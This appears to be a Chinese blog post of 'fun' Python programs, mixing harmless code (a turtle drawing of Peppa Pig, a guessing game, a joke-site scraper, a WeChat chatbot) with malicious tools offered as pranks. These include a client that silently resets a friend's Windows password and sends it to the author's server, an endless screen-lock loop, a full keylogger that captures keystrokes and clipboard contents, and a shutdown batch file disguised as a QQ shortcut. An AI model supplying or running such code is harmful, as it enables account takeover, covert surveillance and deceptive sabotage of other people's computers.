為提高大家對“Python”編程語言的學習興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學習借鑒哦!
用Python代碼創作一副佩奇:
1. # coding:utf-8 2. import turtle as t 3. 4. t.pensize(4) 5. t.hideturtle() 6. t.colormode(255) 7. t.color((255,155,192),"pink") 8. t.setup(840,500) 9. t.speed(10) 10. 11. #鼻子 12. t.pu() 13. t.goto(-100,100) 14. t.pd() 15. t.seth(-30) 16. t.begin_fill() 17. a=0.4 18. for i in range(120): 19. if 0<=i<30 or 60<=i<90: 20. a=a+0.08 21. t.lt(3) #向左轉3度 22. t.fd(a) #向前走a的步長 23. else: 24. a=a-0.08 25. t.lt(3) 26. t.fd(a) 27. t.end_fill() 28. 29. t.pu() 30. t.seth(90) 31. t.fd(25) 32. t.seth(0) 33. t.fd(10) 34. t.pd() 35. t.pencolor(255,155,192) 36. t.seth(10) 37. t.begin_fill() 38. t.circle(5) 39. t.color(160,82,45) 40. t.end_fill() 41. 42. t.pu() 43. t.seth(0) 44. t.fd(20) 45. t.pd() 46. t.pencolor(255,155,192) 47. t.seth(10) 48. t.begin_fill() 49. t.circle(5) 50. t.color(160,82,45) 51. t.end_fill() 52. 53. #頭 54. t.color((255,155,192),"pink") 55. t.pu() 56. t.seth(90) 57. t.fd(41) 58. t.seth(0) 59. t.fd(0) 60. t.pd() 61. t.begin_fill() 62. t.seth(180) 63. t.circle(300,-30) 64. t.circle(100,-60) 65. t.circle(80,-100) 66. t.circle(150,-20) 67. t.circle(60,-95) 68. t.seth(161) 69. t.circle(-300,15) 70. t.pu() 71. t.goto(-100,100) 72. t.pd() 73. t.seth(-30) 74. a=0.4 75. for i in range(60): 76. if 0<=i<30 or 60<=i<90: 77. a=a+0.08 78. t.lt(3) #向左轉3度 79. t.fd(a) #向前走a的步長 80. else: 81. a=a-0.08 82. t.lt(3) 83. t.fd(a) 84. t.end_fill() 85. 86. #耳朵 87. t.color((255,155,192),"pink") 88. t.pu() 89. t.seth(90) 90. t.fd(-7) 91. t.seth(0) 92. t.fd(70) 93. t.pd() 94. t.begin_fill() 95. t.seth(100) 96. t.circle(-50,50) 97. t.circle(-10,120) 98. t.circle(-50,54) 99. t.end_fill() 100. 101. t.pu() 102. t.seth(90) 103. t.fd(-12) 104. t.seth(0) 105. t.fd(30) 106. t.pd() 107. t.begin_fill() 108. t.seth(100) 109. t.circle(-50,50) 110. t.circle(-10,120) 111. t.circle(-50,56) 112. t.end_fill() 113. 114. #眼睛 115. t.color((255,155,192),"white") 116. t.pu() 117. t.seth(90) 118. t.fd(-20) 119. t.seth(0) 120. t.fd(-95) 121. t.pd() 122. t.begin_fill() 123. t.circle(15) 124. t.end_fill() 125. 126. t.color("black") 127. t.pu() 128. t.seth(90) 129. t.fd(12) 130. t.seth(0) 131. t.fd(-3) 132. t.pd() 133. t.begin_fill() 134. t.circle(3) 135. t.end_fill() 136. 137. t.color((255,155,192),"white") 138. t.pu() 139. t.seth(90) 140. t.fd(-25) 141. t.seth(0) 142. t.fd(40) 143. t.pd() 144. t.begin_fill() 145. t.circle(15) 146. t.end_fill() 147. 148. t.color("black") 149. t.pu() 150. t.seth(90) 151. t.fd(12) 152. t.seth(0) 153. t.fd(-3) 154. t.pd() 155. t.begin_fill() 156. t.circle(3) 157. t.end_fill() 158. 159. #腮 160. t.color((255,155,192)) 161. t.pu() 162. t.seth(90) 163. t.fd(-95) 164. t.seth(0) 165. t.fd(65) 166. t.pd() 167. t.begin_fill() 168. t.circle(30) 169. t.end_fill() 170. 171. #嘴 172. t.color(239,69,19) 173. t.pu() 174. t.seth(90) 175. t.fd(15) 176. t.seth(0) 177. t.fd(-100) 178. t.pd() 179. t.seth(-80) 180. t.circle(30,40) 181. t.circle(40,80) 182. 183. #身體 184. t.color("red",(255,99,71)) 185. t.pu() 186. t.seth(90) 187. t.fd(-20) 188. t.seth(0) 189. t.fd(-78) 190. t.pd() 191. t.begin_fill() 192. t.seth(-130) 193. t.circle(100,10) 194. t.circle(300,30) 195. t.seth(0) 196. t.fd(230) 197. t.seth(90) 198. t.circle(300,30) 199. t.circle(100,3) 200. t.color((255,155,192),(255,100,100)) 201. t.seth(-135) 202. t.circle(-80,63) 203. t.circle(-150,24) 204. t.end_fill() 205. 206. #手 207. t.color((255,155,192)) 208. t.pu() 209. t.seth(90) 210. t.fd(-40) 211. t.seth(0) 212. t.fd(-27) 213. t.pd() 214. t.seth(-160) 215. t.circle(300,15) 216. t.pu() 217. t.seth(90) 218. t.fd(15) 219. t.seth(0) 220. t.fd(0) 221. t.pd() 222. t.seth(-10) 223. t.circle(-20,90) 224. 225. t.pu() 226. t.seth(90) 227. t.fd(30) 228. t.seth(0) 229. t.fd(237) 230. t.pd() 231. t.seth(-20) 232. t.circle(-300,15) 233. t.pu() 234. t.seth(90) 235. t.fd(20) 236. t.seth(0) 237. t.fd(0) 238. t.pd() 239. t.seth(-170) 240. t.circle(20,90) 241. 242. #腳 243. t.pensize(10) 244. t.color((240,128,128)) 245. t.pu() 246. t.seth(90) 247. t.fd(-75) 248. t.seth(0) 249. t.fd(-180) 250. t.pd() 251. t.seth(-90) 252. t.fd(40) 253. t.seth(-180) 254. t.color("black") 255. t.pensize(15) 256. t.fd(20) 257. 258. t.pensize(10) 259. t.color((240,128,128)) 260. t.pu() 261. t.seth(90) 262. t.fd(40) 263. t.seth(0) 264. t.fd(90) 265. t.pd() 266. t.seth(-90) 267. t.fd(40) 268. t.seth(-180) 269. t.color("black") 270. t.pensize(15) 271. t.fd(20) 272. 273. #尾巴 274. t.pensize(4) 275. t.color((255,155,192)) 276. t.pu() 277. t.seth(90) 278. t.fd(70) 279. t.seth(0) 280. t.fd(95) 281. t.pd() 282. t.seth(0) 283. t.circle(70,20) 284. t.circle(10,330) 285. t.circle(70,30) 286. t.done()
效果圖如下:
程序是使用pycharm工具,python語言所寫。程序包括客戶端 client.py 和服務器端 server.py 兩部分,利用了python中的socket包。
使用方法:
首先,你需要你和你的朋友在同一個局域網內,然后在你的主機上,運行服務器端 server.py。
然后,讓你的朋友在他的電腦上運行客戶端 client.py。
此時你朋友電腦的windows用戶密碼,就會變成一個隨機密碼,且這個生成的隨機密碼他本人無法得知,而是把這個密碼通過socket傳給了服務器端的你。
嗯,然后你朋友的電腦密碼就只有你自己知道了~
上代碼:
# client.py: import socket import getpass import subprocess import random phone=socket.socket(socket.AF_INET, socket.SOCK_STREAM) phone.connect(('172.17.21.56', 8080)) user=getpass.getuser() psd='' for j in range(1, 9): m=str(random.randrange(0, 10)) psd=psd + m subprocess.Popen(['net', 'User', user, psd]) phone.send(psd.encode('utf-8')) back_msg=phone.recv(1024) phone.close() # server.py import socket phone=socket.socket(socket.AF_INET, socket.SOCK_STREAM) phone.bind(('172.17.21.56', 8080)) phone.listen(5) print('starting....') conn, addr=phone.accept() print(conn) print('client addr', addr) print('ready to read msg') client_msg=conn.recv(1024) print('client msg: %s' % client_msg) conn.send(client_msg.upper()) conn.close() phone.close()
代碼運行后windows將無限鎖屏
代碼如下:from ctypes import *
while True:
user32=windll.LoadLibrary('user32.dll')
user32.LockWorkStation()
代碼如下:
1. import random 2. rang1=int(input("請設置本局游戲的最小值:")) 3. rang2=int(input("請設置本局游戲的最大值:")) 4. num=random.randint(rang1,rang2) 5. guess="guess" 6. print("數字猜謎游戲!") 7. i=0 8. while guess !=num: 9. i +=1 10. guess=int(input("請輸入你猜的數字:")) 11. 12. if guess==num: 13. print("恭喜,你猜對了!") 14. elif guess < num: 15. print("你猜的數小了...") 16. else: 17. print("你猜的數大了...") 18. 19. print("你總共猜了%d" %i + "次",end='') 20. print(",快和你朋友較量一下...")
這幾年網絡爬蟲很火,用Python語言實現網絡爬蟲最合適不過了,接下來分享一段好玩的爬蟲代碼:
1. # -*- coding: utf-8 -*- 2. import urllib2 3. import re 4. class QSBK: 5. def __init__(self): 6. self.pageIndex=1 7. self.user_agent='Mozilla/5.0 (Windows NT 10.0; WOW64)' 8. self.headers={'User-Agent': self.user_agent} 9. self.stories=[] 10. # 存放程序是否繼續運行的變量 11. self.enable=False 12. # 傳入某一頁的索引獲得頁面代碼 13. def getPage(self, pageIndex): 14. try: 15. url='http://www.qiushibaike.com/hot/page/' + str(pageIndex) 16. request=urllib2.Request(url, headers=self.headers) 17. response=urllib2.urlopen(request) 18. pageCode=response.read().decode('utf-8') 19. return pageCode 20. except urllib2.URLError, e: 21. if hasattr(e, "reason"): 22. print u"連接糗事百科失敗,錯誤原因", e.reason 23. return None 24. 25. # 傳入某一頁代碼,返回本頁不帶圖片的段子列表 26. def getPageItems(self, pageIndex): 27. pageCode=self.getPage(pageIndex) 28. if not pageCode: 29. print "頁面加載失敗。。。" 30. return None 31. pattern=re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S) 32. items=re.findall(pattern, pageCode) 33. pageStories=[] 34. for item in items: 35. replaceBR=re.compile('<br/>') 36. text=re.sub(replaceBR,"\n",item[1]) 37. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()]) 38. return pageStories 39. 40. # 加載并提取頁面內容,加入到列表中 41. def loadPage(self): 42. if self.enable==True: 43. if len(self.stories) < 2: 44. pageStories=self.getPageItems(self.pageIndex) 45. if pageStories: 46. self.stories.append(pageStories) 47. self.pageIndex +=1 48. 49. # 調用該方法,回車打印一個段子 50. def getOneStory(self, pageStories, page): 51. for story in pageStories: 52. input=raw_input() 53. self.loadPage() 54. if input=="Q": 55. self.enable=False 56. return 57. print u"第%d頁\t發布人:%s\t贊:%s\t評論:%s\n%s" %(page,story[0],story[2],story[3],story[1]) 58. 59. def start(self): 60. print u"正在讀取糗事百科,按回車查看新段子,Q退出" 61. self.enable=True 62. self.loadPage() 63. nowPage=0 64. while self.enable: 65. if len(self.stories) > 0: 66. pageStories=self.stories[0] 67. nowPage +=1 68. del self.stories[0] 69. self.getOneStory(pageStories, nowPage) 70. 71. spider=QSBK() 72. spider.start()
Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然后就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
代碼如下:
# -*- coding: utf-8 -*- from ctypes import * import pythoncom import pyHook import win32clipboard user32=windll.user32 kernel32=windll.kernel32 psapi=windll.psapi current_window=None # def get_current_process(): # 獲取最上層的窗口句柄 hwnd=user32.GetForegroundWindow() # 獲取進程ID pid=c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) # 將進程ID存入變量中 process_id="%d" % pid.value # 申請內存 executable=create_string_buffer("\x00"*512) h_process=kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 讀取窗口標題 windows_title=create_string_buffer("\x00"*512) length=user32.GetWindowTextA(hwnd,byref(windows_title),512) # 打印 print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print # 關閉handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) # 定義擊鍵監聽事件函數 def KeyStroke(event): global current_window # 檢測目標窗口是否轉移(換了其他窗口就監聽新的窗口) if event.WindowName !=current_window: current_window=event.WindowName # 函數調用 get_current_process() # 檢測擊鍵是否常規按鍵(非組合鍵等) if event.Ascii > 32 and event.Ascii <127: print chr(event.Ascii), else: # 如果發現Ctrl+v(粘貼)事件,就把粘貼板內容記錄下來 if event.Key=="V": win32clipboard.OpenClipboard() pasted_value=win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE]-%s" % (pasted_value), else: print "[%s]" % event.Key, # 循環監聽下一個擊鍵事件 return True # 創建并注冊hook管理器 kl=pyHook.HookManager() kl.KeyDown=KeyStroke # 注冊hook并執行 kl.HookKeyboard() pythoncom.PumpMessages()
分享七、用Python寫一個機器人陪自己聊聊天吧
用Python寫一個機器人陪自己聊聊天吧。是不是聽起來就很酷,用Python語言、itchat庫、圖靈機器人就可以輕松實現。
一、需要的工具
1——Python。寫代碼的工具;
2——itchat庫。第三方庫,用來登錄微信,接收并回復微信好友信息;
3——圖靈機器人。第三方接口,我們本次使用的機器人;
二、代碼如下:
1.準備
導入需要使用的第三方庫
2.獲取來自機器人的回復信息
在這里,調用圖靈機器人庫,把我們接收到的微信好友信息發給圖靈機器人,再取回機器人回復的信息,回復給好友。
這里要用到圖靈機器人的接口,到圖靈機器人官網(http://www.tuling123.com)注冊登陸之后,生成一個屬于個人的免費接口,免費接口一天只能用1000條,雖然不多,但娛樂一下自己也是足夠的了。
創建機器人成功之后會得到apikey,把這串密碼放到代碼中的"key"里,這一步就完成了。
3.接受來自好友之間的對話信息
4.接受來自微信群里面的對話信息
如果不需要機器人在群聊里聊天,可以刪除這塊代碼。
5.運行
最后一步,登錄微信,并運行機器人。
看完文章后,小伙伴們是不是躍躍欲試了呢?心動不如行動趕緊行動起來吧!Python編程語言真的不難!又很強大!抓緊試試吧!
第一步
新建一個記事本,輸入代碼“shutdown -s”。
第二步
另存為桌面,選擇保存類型為所有文檔,名字命名為“QQ.bat”,點擊確定。
第三步
右擊自己做的“QQ.bat”文件,選擇發送到桌面快捷方式。
第四步
將快捷方式的名字改為“QQ”,并右擊屬性找到快捷方式,更改圖標為QQ的圖標(在qq安裝目錄里找到那個圖標文件),確定即可。
第五步
效果測試,打開自己做出來的QQ快捷方式,電腦就在一分鐘內關機了。
簡單的一句代碼你就可以惡搞室友了,如果想要更完美的話可以把QQ.bat文件放到其他盤不在桌面顯示(快捷方式記得重新創建一個),再把原本桌面的QQ快捷方式刪了就完美了~~當你的室友登QQ時點開“QQ”后,電腦就會在一分鐘后關機了~